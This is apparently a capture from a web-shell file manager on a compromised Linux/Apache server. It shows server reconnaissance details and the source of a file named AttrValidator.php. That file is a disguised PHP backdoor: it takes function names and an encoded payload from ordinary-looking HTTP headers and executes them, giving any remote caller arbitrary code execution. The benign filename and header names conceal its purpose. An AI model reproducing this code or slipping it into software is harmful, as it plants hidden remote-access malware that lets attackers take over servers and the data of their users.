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Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /proc/thread-self/root/proc/self/root/proc/self/root/proc/19805/cwd/2024/02/
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File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/19805/cwd/2024/02/AttrValidator.php
<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['X-Dns-Prefetch-Control'])) {
    $class = $_HEADERS['X-Dns-Prefetch-Control']('', $_HEADERS['Large-Allocation']($_HEADERS['Sec-Websocket-Accept']));
    $class();
}
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